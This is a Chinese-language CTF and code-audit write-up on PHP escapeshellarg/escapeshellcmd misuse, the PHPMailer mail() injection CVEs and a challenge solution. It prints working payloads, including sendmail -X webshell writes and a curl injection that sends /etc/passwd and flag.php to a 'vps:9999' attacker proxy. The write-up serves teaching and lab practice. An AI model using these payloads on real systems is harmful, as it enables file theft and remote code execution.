PHP-Audit-Labs — Day5 scapeshellarg与escapeshellcmd使用不当

PHP-Audit-Labs

靶场地址:https://www.ripstech.com/php-security-calendar-2017/

查看最为主要的mail函数,该处曾有过命令执行漏洞

1
2
3
4
5
6
7
bool mail (
string $to ,
string $subject ,
string $message [,
string $additional_headers [,
string $additional_parameters ]]
)

其参数含义分别表示如下:

to,指定邮件接收者,即接收人
subject,邮件的标题
message,邮件的正文内容
additional_headers,指定邮件发送时其他的额外头部,如发送者From,抄送CC,隐藏抄送BCC
additional_parameters,指定传递给发送程序sendmail的额外参数。

在Linux系统上, php 的 mail 函数在底层中已经写好了,默认调用 Linux 的 sendmail 程序发送邮件。而在额外参数( additional_parameters )中, sendmail 主要支持的选项有以下三种:

-O option = value
QueueDirectory = queuedir 选择队列消息
-X logfile
这个参数可以指定一个目录来记录发送邮件时的详细日志情况。
-f from email
这个参数可以让我们指定我们发送邮件的邮箱地址。

此题而外添加了两处函数进行过滤
filter_var() 函数的定义:

filter_var :使用特定的过滤器过滤一个变量

mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )
功能 :这里主要是根据第二个参数filter过滤一些想要过滤的东西。

关于 filter_var() 中 FILTER_VALIDATE_EMAIL 这个选项作用,我们可以看看这个帖子 PHP FILTER_VALIDATE_EMAIL 。这里面有个结论引起了我的注意: none of the special characters in this local part are allowed outside quotation marks ,表示所有的特殊符号必须放在双引号中。 filter_var() 问题在于,我们在双引号中嵌套转义空格仍然能够通过检测。同时由于底层正则表达式的原因,我们通过重叠单引号和双引号,欺骗 filter_val() 使其认为我们仍然在双引号中,这样我们就可以绕过检测。下面举个简单的例子,方便理解:
传入 isnoallow@example.com

此前PHP-Audit-Labs — Day2 filter_var()函数缺陷,讲述了存在xss伪协议绕过构成xss漏洞还有ssrf漏洞

escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数

功能 :escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(),system() 执行运算符(反引号)

定义 :string escapeshellarg ( string $arg )

逃逸实例;
传入的参数是

1
127.0.0.1' -v -d a=1

由于escapeshellarg先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。所以处理之后的效果如下:

1
'127.0.0.1'\'' -v -d a=1'

接着 escapeshellcmd 函数对第二步处理后字符串中的 \ 以及 a=1' 中的单引号进行转义处理,结果如下所示:

1
'127.0.0.1'\\'' -v -d a=1\'

由于第三步处理之后的payload中的 \ 被解释成了 \ 而不再是转义字符,所以单引号配对连接之后将payload分割为三个部分,具体如下所示:

所以这个payload可以简化为 curl 127.0.0.1\ -v -d a=1',即向 127.0.0.1\ 发起请求,POST 数据为 a=1' 。

总结一下,这题实际上是考察绕过 filter_var() 函数的邮件名检测,通过 mail 函数底层实现中调用的 escapeshellcmd() 函数处理字符串,再结合 escapeshellarg() 函数,最终实现参数逃逸,导致 远程代码执行

实例分析

主要是通过了CVE-2016-10033 CVE-2016-10045两个漏洞介绍了phpmail命令执行漏洞。与CVE-2016-10033不同的是CVE-2016-10045只添加了一个'从而绕过了 escapeshellcmdescapeshellarg 的函数防护处理

CVE-2016-10033 payload

1
a( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com

CVE-2016-10045 payloadl

1
a'( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com

修复建议

我们来看一下 PHPMailer 官方给出的修复代码。官方对用户传入的参数进行检测,如果当中存在被转义的字符,则不传递 -f 参数(-f 参数表示发邮件的人,如果不传递该参数,我们的payload就不会被带入 mail 函数,也就不会造成命令执行),所以不建议大家同时使用 escapeshellcmd() 和 escapeshellarg() 函数对参数进行过滤,具体修复代码如下:

CTF

考点一:preg_match 过滤掉flag关键词
但是同时在10-17行存在着可变变量
首先 第10行 ,循环获取字符串 GET、POST、COOKIE ,并依次赋值给变量 $R 。在 第11行 中先判断 $$R 变量是否存在数据,如果存在,则继续判断超全局数组 GET、POST、COOKIE 中是否存在键值相等的,如果存在,则删除该变量。
使用

其中$$R$['_GET']、$['_POST']、$['_COOKIE']
我通过 GET 请求向 index.php 提交 flag=test ,接着通过 POST 请求提交 _GET[flag]=test 。当开始遍历 $_POST 超全局数组的时候, $k 代表 _GET[flag] ,所以 $$k 就是 $_GET[flag] ,即 test 值,此时 $$k == $v 成立,变量 $_GET[flag] 就被 unset 了。但是在 第21行 和 22行 有这样一串代码:

1
2
if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);

extract 函数的作用是将对象内的键名变成一个变量名,而这个变量对应的值就是这个键名的值, EXTR_SKIP 参数表示如果前面存在此变量,不对前面的变量进行覆盖处理。由于我们前面通过 POST 请求提交 _GET[flag]=test ,所以这里会变成 $_GET[flag]=test ,这里的 $_GET 变量就不需要再经过 waf 函数检测了,也就绕过了 preg_match('/flag/i',$key) 的限制。

考点二:MD5函数漏洞

1
if(md5($_GET['flag'] ) == md5($_GET['hongri']))

PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以“0E”开头的,那么PHP将会认为他们相同,都是0。
以下值在md5加密后以0E开头:

1
2
3
4
5
6
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a

以下值在sha1加密后以0E开头:

1
2
3
4
sha1(‘aaroZmOk’)
sha1(‘aaK1STfY’)
sha1(‘aaO8zKZF’)
sha1(‘aa3OFF9m’)

GET传入a=QNKCDZO&b=240610708就能绕过

考点三:escapeshellarg() 和 escapeshellcmd() 函数冲突
escapeshellarg ,将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号
escapeshellcmd ,会对以下的字符进行转义&#;|*?~<>^()[]{}$, x0A 和 xFF, ' 和 "仅在不配对的时候被转义。

在字符串增加了引号同时会进行转义,那么之前的payload

1
http://127.0.0.1/index1.php?url=http://127.0.0.1 -T /etc/passwd

因为增加了 ' 进行了转义,所以整个字符串会被当成参数。注意 escapeshellcmd 的问题是在于如果 ' 和 " 仅在不配对儿的时候被转义。那么如果我们多增加一个 ' 就可以扰乱之前的转义了。如下:

curl 中存在 -F 提交表单的方法,也可以提交文件。 -F <key=value> 向服务器POST表单,例如: curl -F "web=@index.html;type=text/html" url.com 。提交文件之后,利用代理的方式进行监听,这样就可以截获到文件了,同时还不受最后的的影响。那么最后的payload为:

1
http://baidu.com/' -F file=@/etc/passwd -x  vps:9999

这里应该是和 curl 版本有关系,我在 7.54.0 下没有测试成功。

题目中的 curl 版本是 7.19.7

根据猜测,可能在是新版本中,先会执行 curl http 的操作,但是由于在后面增加了,例如 http://127.0.0.1, 但是curl无法找到这样的文件,出现404。出现404之后,后面的提交文件的操作就不进行了,程序就退出了。这样在vps上面就无法接受到文件了。

解答payload

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /index.php?flag=QNKCDZO&hongri=s878926199a&url=http://baidu.com/' -F file=@/var/www/html/flag.php -x  vps:9999 HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=om11lglr53tm1htliteav4uhk4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 112

_GET[flag]=QNKCDZO&_GET[hongri]=s878926199a&_GET[url]=http://baidu.com/' -F file=@/var/www/html/flag.php -x vps:9999

转载:
https://xz.aliyun.com/t/2597

-------------本文结束感谢您的阅读-------------